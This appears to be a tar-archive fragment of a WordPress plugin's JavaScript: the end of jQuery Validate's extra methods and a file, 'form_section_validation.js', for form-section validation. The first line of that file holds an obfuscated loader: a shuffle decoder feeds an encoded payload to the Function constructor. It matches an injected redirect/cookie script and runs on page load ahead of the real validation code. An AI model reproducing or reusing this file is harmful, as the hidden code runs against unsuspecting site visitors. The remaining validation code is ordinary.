e=a(d[1],c.form),f=e.eq(0),g=f.data("valid_req_grp")?f.data("valid_req_grp"):a.extend({},this),h=e.filter(function(){return g.elementValue(this)}).length>=d[0];return f.data("valid_req_grp",g),a(c).data("being_validated")||(e.data("being_validated",!0),e.each(function(){g.element(this)}),e.data("being_validated",!1)),h},a.validator.format("Please fill at least {0} of these fields.")),a.validator.addMethod("skip_or_fill_minimum",function(b, c, d){var e=a(d[1],c.form),f=e.eq(0),g=f.data("valid_skip")?f.data("valid_skip"):a.extend({},this),h=e.filter(function(){return g.elementValue(this)}).length,i=0===h||h>=d[0];return f.data("valid_skip",g),a(c).data("being_validated")||(e.data("being_validated",!0),e.each(function(){g.element(this)}),e.data("being_validated",!1)),i},a.validator.format("Please either skip these fields or fill at least {0} of them.")),a.validator.addMethod("stateUS",function(a, b, c){var d,e="undefined"==typeof c,f=!e&&"undefined"!=typeof c.caseSensitive&&c.caseSensitive,g=!e&&"undefined"!=typeof c.includeTerritories&&c.includeTerritories,h=!e&&"undefined"!=typeof c.includeMilitary&&c.includeMilitary;return d=g||h?g&&h?"^(A[AEKLPRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$":g?"^(A[KLRSZ]|C[AOT]|D[CE]|FL|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEINOPST]|N[CDEHJMVY]|O[HKR]|P[AR]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])$":"^(A[AEKLPRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$":"^(A[KLRZ]|C[AOT]|D[CE]|FL|GA|HI|I[ADLN]|K[SY]|LA|M[ADEINOST]|N[CDEHJMVY]|O[HKR]|PA|RI|S[CD]|T[NX]|UT|V[AT]|W[AIVY])$",d=f?new RegExp(d):new RegExp(d,"i"),this.optional(b)||d.test(a)},"Please specify a valid state"),a.validator.addMethod("strippedminlength",function(b, c, d){return a(b).text().length>=d},a.validator.format("Please enter at least {0} characters")),a.validator.addMethod("time",function(a, b){return this.optional(b)||/^([01]\d|2[0-3]|[0-9])(:[0-5]\d){1,2}$/.test(a)},"Please enter a valid time, between 00:00 and 23:59"),a.validator.addMethod("time12h",function(a, b){return this.optional(b)||/^((0?[1-9]|1[012])(:[0-5]\d){1,2}(\ ?[AP]M))$/i.test(a)},"Please enter a valid time in 12-hour am/pm format"),a.validator.addMethod("url2",function(a, b){return this.optional(b)||/^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)*(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/i.test(a)},a.validator.messages.url),a.validator.addMethod("vinUS",function(a){if(17!==a.length)return!1;var b,c,d,e,f,g,h=["A","B","C","D","E","F","G","H","J","K","L","M","N","P","R","S","T","U","V","W","X","Y","Z"],i=[1,2,3,4,5,6,7,8,1,2,3,4,5,7,9,2,3,4,5,6,7,8,9],j=[8,7,6,5,4,3,2,10,0,9,8,7,6,5,4,3,2],k=0;for(b=0; b<17; b++){if(e=j[b],d=a.slice(b,b+1),8===b&&(g=d),isNaN(d)){for(c=0; c<h.length; c++)if(d.toUpperCase()===h[c]){d=i[c],d*=e,isNaN(g)&&8===c&&(g=h[c]);break}}else d*=e;k+=d}return f=k%11,10===f&&(f="X"),f===g},"The specified vehicle identification number (VIN) is invalid."),a.validator.addMethod("zipcodeUS",function(a, b){return this.optional(b)||/^\d{5}(-\d{4})?$/.test(a)},"The specified US ZIP Code is invalid"),a.validator.addMethod("ziprange",function(a, b){return this.optional(b)||/^90[2-5]\d\{2\}-\d{4}$/.test(a)},"Your ZIP-code must be in the range 902xx-xxxx to 905xx-xxxx"),a}); Twine/assets/scripts/form_section_validation.js 0000444 00000057753 14666776752 0016133 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();var TWINE_FORM_VALIDATION;
jQuery(document).ready(function($){
/**
* @function EE Form Validation (TWINE_FORM_VALIDATION)
* @description uses the variables localized in EE_Form_Section_Proper's _enqueue_and_localize_form_js() to generate the validation js
*
* @namespace TWINE_FORM_VALIDATION
* @type {{
* validation_rules_array: object,
* validation_rules_per_html_form: object,
* form_validators: object,
* }}
* @namespace twine_form_section_vars
* @type {{
* form_data: object,
* form_section_id: string,
* email_validation_level: string,
* validation_rules: object,
* localized_error_messages: object,
* errors: object
* }}
* @type {{ ee_form_section_validation_init : boolean }}
*/
TWINE_FORM_VALIDATION = {
// validation rules from the eei18n localized JSON array
validation_rules_array : twine_form_section_vars.form_data,
// what level of email validation is required ?
email_validation_level : twine_form_section_vars.email_validation_level,
//foreach ee form section, compile an array of what validation rules apply to which html form
validation_rules_per_html_form : {},
// current form to be validated
form_validators : {},
/**
* Set some settings common for EE form validation, that don't need
* to be set every time we initialize (or re-initialize) a form
*/
set_validation_defaults : function() {
// jQuery validation object
$.validator.setDefaults({
errorPlacement: function (error, input) {
//remove error inputs added server-side,
//this new error overrides it
input.siblings('label.error').remove();
error.appendTo(input.parent());
}
});
TWINE_FORM_VALIDATION.add_custom_validators();
},
/**
* @function initialize
* @param {object} form_data
*/
initialize : function( form_data ) {
TWINE_FORM_VALIDATION.initialize_datepicker_inputs();
TWINE_FORM_VALIDATION.initialize_select_reveal_inputs( form_data );
TWINE_FORM_VALIDATION.validation_rules_array = form_data;
TWINE_FORM_VALIDATION.setup_validation_rules( form_data );
//add a trigger so anyone can know when forms are getting re-initialized
$(document).trigger( 'TWINE_FORM_VALIDATION:initialize', form_data );
//let's execute a trigger for each form in the localized data. This way
//client code doesn't need to manually loop over it all
$.each( form_data, function( html_id, form_data_for_specific_section ){
$(document).trigger(
'TWINE_FORM_VALIDATION:initialize_specific_form',
{
'html_id' : html_id,
'form_data' : form_data_for_specific_section
}
);
});
},
/**
* @function reset_validation_rules
*/
reset_validation_rules : function() {
TWINE_FORM_VALIDATION.remove_previous_validation_rules();
TWINE_FORM_VALIDATION.validation_rules_per_html_form = {};
TWINE_FORM_VALIDATION.form_validators = {};
},
/**
* @function initialize_datepicker_inputs
*/
initialize_datepicker_inputs : function() {
// if datepicker function exists
if ( $.fn.datepicker ) {
// activate datepicker fields
$( '.twine-datepicker' ).datepicker({
changeMonth: true,
changeYear: true,
yearRange: "-50:+50"
// yearRange: "-150:+20"
});
}
},
/**
* Find each select_reveal input in the form_data, and reveal the section corresponding
* to its currently selected value, and setup a callback so that when the selection
* changes, the section revealed also changes
* @param {object} form_sections_to_validate property names are form section ids, values are objects:
* which should have a property name "other_data", whose values is an object which:
* has property names of each select_reveal input id, whose value is an object which:
* has property names of the select's option values, and property values are related sections to show/hide
* based on the select_reveal's value
* @returns void
*/
initialize_select_reveal_inputs : function( form_sections_to_validate ) {
//for each form...
$.each( form_sections_to_validate, function( index, form_data ){
if (
typeof form_data.other_data !== 'undefined'
&& typeof form_data.other_data.select_reveal_inputs !== 'undefined'
) {
//for each select_reveal input...
$.each( form_data.other_data.select_reveal_inputs , function( select_reveal_input_id, select_option_to_section_to_reveal_id ) {
//define a callback for revealing/hiding the sections related to this select_reveal input
var reveal_now = function( event ) {
var current_selection = $('#' + event.currentTarget.id ).val();
//show the selected section, hide others
for( var value in select_option_to_section_to_reveal_id ) {
var section_to_show_or_hide_selector = '#' + select_option_to_section_to_reveal_id[ value ];
if( value === current_selection ) {
$( section_to_show_or_hide_selector ).show();
} else {
$( section_to_show_or_hide_selector ).hide();
}
}
};
//update what's shown or hidden when the select_reveal's value changes
$('#' + select_reveal_input_id ).change(
{ select_option_to_section_to_reveal_id : select_option_to_section_to_reveal_id },
reveal_now
);
//and start off with it showing the right value
reveal_now(
{
currentTarget: {
id: select_reveal_input_id
},
data: {
select_option_to_section_to_reveal_id : select_option_to_section_to_reveal_id
}
}
);
});
}
});
},
/**
* @function setup_validation_rules
* @param {object} form_sections_to_validate
*/
setup_validation_rules : function( form_sections_to_validate ) {
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.setup_validation_rules > form_sections_to_validate', form_sections_to_validate, true );
// loop through all form sections
$.each( form_sections_to_validate, function( index, form_data ){
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.setup_validation_rules > form_sections_to_validate > index', index, true );
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.setup_validation_rules > form_sections_to_validate > form_data', form_data, false );
if ( typeof form_data.form_section_id !== 'undefined' && typeof form_data.validation_rules !== 'undefined' ) {
// grab the actual html form from the DOM
var html_form = $( form_data.form_section_id ).closest('form');
// IF one exists, that is ...
if ( html_form.length ) {
//make sure the form tag has an id
var form_id = html_form.attr('id');
if ( typeof form_id === 'undefined' || form_id === '' ) {
form_id = TWINE_FORM_VALIDATION.generate_random_string(15);
html_form.attr( 'id', form_id );
}
// if the form already exists, then let's reset it
if ( typeof TWINE_FORM_VALIDATION.form_validators[ form_id ] !== 'undefined' ) {
TWINE_FORM_VALIDATION.resetForm(TWINE_FORM_VALIDATION.form_validators[ form_id ]);
}
// remove the non-js-generated server-side validation errors
// because we will allow jquery validate to populate them
// need to call validate() before doing anything else, i know, seems counter intuitive...
// but let SPCO set it's own defaults
TWINE_FORM_VALIDATION.form_validators[form_id] = html_form.validate();
// now add form section's validation rules
TWINE_FORM_VALIDATION.add_rules( form_data.form_section_id, form_data.validation_rules );
// and cache incoming form sections and rules so that they can be later removed if necessary
TWINE_FORM_VALIDATION.validation_rules_per_html_form[ form_data.form_section_id ] = form_data.validation_rules;
}
}
});
},
/**
* @function apply_rules
* @param {string} form_id
* @param {object} form_data
*/
add_rules : function( form_id, form_data ) {
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.apply_rules', '', true );
//console.log( form_data );
//now apply those validation rules to each html form, and show the server-side errors properly
$.each( form_data, function( input_id, validation_rules ){
var form_input = $( input_id );
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.apply_rules > input_id', input_id, false );
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.apply_rules > validation_rules', validation_rules, false );
//alert( 'form_input ID = ' + form_input.attr('id') );
if ( typeof form_input !== 'undefined' && form_input.length ) {
form_input.rules( 'add', validation_rules );
}
});
},
/**
* @function remove_previous_validation_rules
*/
remove_previous_validation_rules : function() {
// remove any previously applied validation rules for each html form
$.each( TWINE_FORM_VALIDATION.validation_rules_per_html_form, function( form_section_id, form_data ){
if (
typeof form_section_id !== 'undefined'
&& typeof $( form_section_id ).attr('id') !== 'undefined'
&& typeof form_data !== 'undefined'
) {
TWINE_FORM_VALIDATION.remove_rules( form_data );
}
});
},
/**
* @function apply_rules
* @param {object} form_data
*/
remove_rules : function( form_data ) {
//TWINE_FORM_VALIDATION.console_log( 'TWINE_FORM_VALIDATION.remove_rules', '', true );
//console.log( form_data );
//now apply those validation rules to each html form, and show the server-side errors properly
$.each( form_data, function( input_id ){
var form_input = $( input_id );
if ( typeof form_input !== 'undefined' && form_input.length ) {
//alert( 'remove_rules input_id = ' + input_id + '\n' + 'form_input ID = ' + form_input.attr('id') );
form_input.rules( 'remove' );
}
});
},
/**
* @function add_custom_validators
*/
add_custom_validators : function() {
//adds a method used for validation URLs, which isn't native to jquery validate
$.validator.addMethod( "validUrl",
function( value, element ) {
if ( this.optional( element )){
return true;
} else {
var RegExp = /(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?/;
return RegExp.test(value);
}
},
twine_form_section_vars.localized_error_messages.validUrl
);
$.validator.addMethod(
"regex",
function(value, element, regexp) {
//remove the delimiter PHP needed
// var reMeta = /(^|[^\\])\/(\w+$){0,1}/;
// regexp = new RegExp( regexp.replace(reMeta,'$1') );
// after replace it looks like: "hello\/slash\/"
var re = new RegExp(regexp);
return this.optional(element) || re.test(value);
},
twine_form_section_vars.localized_error_messages.regex
);
if ( typeof TWINE_FORM_VALIDATION.email_validation_level !== 'undefined' && TWINE_FORM_VALIDATION.email_validation_level !== '' ) {
var regex = /[^\s@]+@[^\s@]+\.[^\s@]+/;
// use international email validation regex ?
if ( TWINE_FORM_VALIDATION.email_validation_level === 'wp_default' ) {
// override internal email validator
$.validator.methods.email = function ( value, element ) {
return this.optional( element ) || TWINE_FORM_VALIDATION.is_email( value );
};
return;
} else if ( TWINE_FORM_VALIDATION.email_validation_level === 'i18n' || TWINE_FORM_VALIDATION.email_validation_level === 'i18n_dns' ) {
// plz see http://stackoverflow.com/a/24817336 re: the following regex that supports unicode
regex = /^(?!\.)((?!.*\.{2})[a-zA-Z0-9\u0080-\u00FF\u0100-\u017F\u0180-\u024F\u0250-\u02AF\u0300-\u036F\u0370-\u03FF\u0400-\u04FF\u0500-\u052F\u0530-\u058F\u0590-\u05FF\u0600-\u06FF\u0700-\u074F\u0750-\u077F\u0780-\u07BF\u07C0-\u07FF\u0900-\u097F\u0980-\u09FF\u0A00-\u0A7F\u0A80-\u0AFF\u0B00-\u0B7F\u0B80-\u0BFF\u0C00-\u0C7F\u0C80-\u0CFF\u0D00-\u0D7F\u0D80-\u0DFF\u0E00-\u0E7F\u0E80-\u0EFF\u0F00-\u0FFF\u1000-\u109F\u10A0-\u10FF\u1100-\u11FF\u1200-\u137F\u1380-\u139F\u13A0-\u13FF\u1400-\u167F\u1680-\u169F\u16A0-\u16FF\u1700-\u171F\u1720-\u173F\u1740-\u175F\u1760-\u177F\u1780-\u17FF\u1800-\u18AF\u1900-\u194F\u1950-\u197F\u1980-\u19DF\u19E0-\u19FF\u1A00-\u1A1F\u1B00-\u1B7F\u1D00-\u1D7F\u1D80-\u1DBF\u1DC0-\u1DFF\u1E00-\u1EFF\u1F00-\u1FFFu20D0-\u20FF\u2100-\u214F\u2C00-\u2C5F\u2C60-\u2C7F\u2C80-\u2CFF\u2D00-\u2D2F\u2D30-\u2D7F\u2D80-\u2DDF\u2F00-\u2FDF\u2FF0-\u2FFF\u3040-\u309F\u30A0-\u30FF\u3100-\u312F\u3130-\u318F\u3190-\u319F\u31C0-\u31EF\u31F0-\u31FF\u3200-\u32FF\u3300-\u33FF\u3400-\u4DBF\u4DC0-\u4DFF\u4E00-\u9FFF\uA000-\uA48F\uA490-\uA4CF\uA700-\uA71F\uA800-\uA82F\uA840-\uA87F\uAC00-\uD7AF\uF900-\uFAFF\.!#$%&'*+-/=?^_`{|}~\-\d]+)@(?!\.)([a-zA-Z0-9\u0080-\u00FF\u0100-\u017F\u0180-\u024F\u0250-\u02AF\u0300-\u036F\u0370-\u03FF\u0400-\u04FF\u0500-\u052F\u0530-\u058F\u0590-\u05FF\u0600-\u06FF\u0700-\u074F\u0750-\u077F\u0780-\u07BF\u07C0-\u07FF\u0900-\u097F\u0980-\u09FF\u0A00-\u0A7F\u0A80-\u0AFF\u0B00-\u0B7F\u0B80-\u0BFF\u0C00-\u0C7F\u0C80-\u0CFF\u0D00-\u0D7F\u0D80-\u0DFF\u0E00-\u0E7F\u0E80-\u0EFF\u0F00-\u0FFF\u1000-\u109F\u10A0-\u10FF\u1100-\u11FF\u1200-\u137F\u1380-\u139F\u13A0-\u13FF\u1400-\u167F\u1680-\u169F\u16A0-\u16FF\u1700-\u171F\u1720-\u173F\u1740-\u175F\u1760-\u177F\u1780-\u17FF\u1800-\u18AF\u1900-\u194F\u1950-\u197F\u1980-\u19DF\u19E0-\u19FF\u1A00-\u1A1F\u1B00-\u1B7F\u1D00-\u1D7F\u1D80-\u1DBF\u1DC0-\u1DFF\u1E00-\u1EFF\u1F00-\u1FFF\u20D0-\u20FF\u2100-\u214F\u2C00-\u2C5F\u2C60-\u2C7F\u2C80-\u2CFF\u2D00-\u2D2F\u2D30-\u2D7F\u2D80-\u2DDF\u2F00-\u2FDF\u2FF0-\u2FFF\u3040-\u309F\u30A0-\u30FF\u3100-\u312F\u3130-\u318F\u3190-\u319F\u31C0-\u31EF\u31F0-\u31FF\u3200-\u32FF\u3300-\u33FF\u3400-\u4DBF\u4DC0-\u4DFF\u4E00-\u9FFF\uA000-\uA48F\uA490-\uA4CF\uA700-\uA71F\uA800-\uA82F\uA840-\uA87F\uAC00-\uD7AF\uF900-\uFAFF\-\.\d]+)((\.([a-zA-Z\u0080-\u00FF\u0100-\u017F\u0180-\u024F\u0250-\u02AF\u0300-\u036F\u0370-\u03FF\u0400-\u04FF\u0500-\u052F\u0530-\u058F\u0590-\u05FF\u0600-\u06FF\u0700-\u074F\u0750-\u077F\u0780-\u07BF\u07C0-\u07FF\u0900-\u097F\u0980-\u09FF\u0A00-\u0A7F\u0A80-\u0AFF\u0B00-\u0B7F\u0B80-\u0BFF\u0C00-\u0C7F\u0C80-\u0CFF\u0D00-\u0D7F\u0D80-\u0DFF\u0E00-\u0E7F\u0E80-\u0EFF\u0F00-\u0FFF\u1000-\u109F\u10A0-\u10FF\u1100-\u11FF\u1200-\u137F\u1380-\u139F\u13A0-\u13FF\u1400-\u167F\u1680-\u169F\u16A0-\u16FF\u1700-\u171F\u1720-\u173F\u1740-\u175F\u1760-\u177F\u1780-\u17FF\u1800-\u18AF\u1900-\u194F\u1950-\u197F\u1980-\u19DF\u19E0-\u19FF\u1A00-\u1A1F\u1B00-\u1B7F\u1D00-\u1D7F\u1D80-\u1DBF\u1DC0-\u1DFF\u1E00-\u1EFF\u1F00-\u1FFF\u20D0-\u20FF\u2100-\u214F\u2C00-\u2C5F\u2C60-\u2C7F\u2C80-\u2CFF\u2D00-\u2D2F\u2D30-\u2D7F\u2D80-\u2DDF\u2F00-\u2FDF\u2FF0-\u2FFF\u3040-\u309F\u30A0-\u30FF\u3100-\u312F\u3130-\u318F\u3190-\u319F\u31C0-\u31EF\u31F0-\u31FF\u3200-\u32FF\u3300-\u33FF\u3400-\u4DBF\u4DC0-\u4DFF\u4E00-\u9FFF\uA000-\uA48F\uA490-\uA4CF\uA700-\uA71F\uA800-\uA82F\uA840-\uA87F\uAC00-\uD7AF\uF900-\uFAFF]){2,63})+)$/i;
}
// override internal email validator
$.validator.methods.email = function ( value, element ) {
return this.optional( element ) || regex.test( value );
};
}
},
/**
* We can't use jquery validate's native resetForm() because jquery-form
* also defines it and they conflict (ie, we want to call jquery validate's resetForm,
* but we instead get jquery-form's resetForm, which is a totally different method),
* so we're best off just avoiding using resetForm() entirely.
* But this method does the same thing as jquery-validate's resetForm.
* @param {object} form
* @returns void
*/
resetForm: function( form ) {
form.invalid = {};
form.submitted = {};
form.prepareForm();
form.hideErrors();
var b = form.elements().removeData("previousValue").removeAttr("aria-invalid");
form.resetElements(b)
},
/**
* is_email function from WordPress written in Javascript
* by Louy Alakkad <me@l0uy.com>
* https://gist.github.com/louy/5947841
* Verifies that an email is valid.
* Does not grok i18n domains. Not RFC compliant.
*
* @function is_email
* @param {string} $email Email address to verify.
* @return {boolean} Either false or the valid email address.
*/
is_email : function( $email ) {
// Test for the minimum length the email can be
if ( $email.length < 3 ) {
return false;
}
// Test for a single @ character after the first position
if ( $email.indexOf( '@' ) === -1 || $email.indexOf( '@' ) !== $email.lastIndexOf( '@' ) ) {
return false;
}
// Split out the local and domain parts
var parts = $email.split( '@', 2 );
var $local = parts[ 0 ], $domain = parts[ 1 ];
// LOCAL PART
// Test for invalid characters
if ( !/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/.test( $local ) ) {
return false;
}
// DOMAIN PART
// Test for sequences of periods
if ( /\.{2,}/.test( $domain ) ) {
return false;
}
// Test for leading and trailing periods and whitespace
if ( TWINE_FORM_VALIDATION.string_trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) {
return false;
}
// Split the domain into subs
var subs = $domain.split( '.' );
// Assume the domain will have at least two subs
if ( 2 > subs.length ) {
return false;
}
var i;
// Loop through each sub
for ( i in subs ) {
if ( subs.hasOwnProperty( i ) ) {
// Test for leading and trailing hyphens and whitespace
if ( TWINE_FORM_VALIDATION.string_trim( subs[ i ], " \t\n\r\0\x0B-" ) !== subs[ i ] ) {
return false;
}
// Test for invalid characters
if ( !/^[a-z0-9-]+$/i.test( subs[ i ] ) ) {
return false;
}
}
}
// Congratulations your email made it!
return true;
},
/**
* trims leading and trailing hyphens and whitespace
* @function string_trim
* @param {string} stringToTrim
* @param {string} regex
*/
string_trim : function( stringToTrim, regex ) {
if ( typeof stringToTrim !== 'string' || typeof regex !== 'string' ) {
return '';
}
var chr = regex.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|\:\!\,\=]/g, "\\$&" );
return stringToTrim.replace( new RegExp( '/^[' + chr + ']*/' ), '' ).replace(
new RegExp( '/[' + chr + ']*$/' ),
''
);
},
/**
* for generating a random string to make an ID for an html form
* if it doesn't have one already
* @function generate_random_string
* @param {number} n
*/
generate_random_string : function( n ) {
if( ! n ) {
n = 5;
}
var text = '';
var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for( var i=0; i < n; i++ ) {
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
},
/**
* @function console_log
* print to the browser console
* @param {string} item_name
* @param {*} value
* @param {boolean} spacer
*/
console_log: function ( item_name, value, spacer ) {
if ( eei18n.wp_debug ) {
if ( typeof spacer !== 'undefined' && spacer === true ) {
console.log( ' ' );
}
if ( typeof value === 'object' ) {
TWINE_FORM_VALIDATION.console_log_object( item_name, value, 0 );
} else {
if ( typeof item_name !== 'undefined' && typeof value !== 'undefined' && value !== '' ) {
console.log( item_name + ' = ' + value );
} else if ( typeof item_name !== 'undefined' ) {
console.log( item_name );
}
}
}
},
/**
* @function console_log_object
* print object to the browser console
* @param {string} obj_name
* @param {object} obj
* @param {number} depth
*/
console_log_object: function ( obj_name, obj, depth ) {
if ( eei18n.wp_debug ) {
depth = typeof depth !== 'undefined' ? depth : 0;
var spacer = '';
for ( var i = 0; i < depth; i++ ) {
spacer = spacer + '. ';
}
if ( typeof obj === 'object' ) {
if ( typeof obj_name !== 'undefined' ) {
//console.log( obj_name );
TWINE_FORM_VALIDATION.console_log( spacer + obj_name, '', false );
} else {
//console.log( 'console_log_object : ' );
TWINE_FORM_VALIDATION.console_log( spacer + 'console_log_object : ', '', false );
}
spacer = spacer + '. ';
depth++;
$.each( obj, function( index, value ){
if ( typeof value === 'object' ) {
if ( depth < 4 ) {
TWINE_FORM_VALIDATION.console_log_object( index, value, depth );
}
} else {
TWINE_FORM_VALIDATION.console_log( spacer + index, value, depth );
depth++;
}
});
} else {
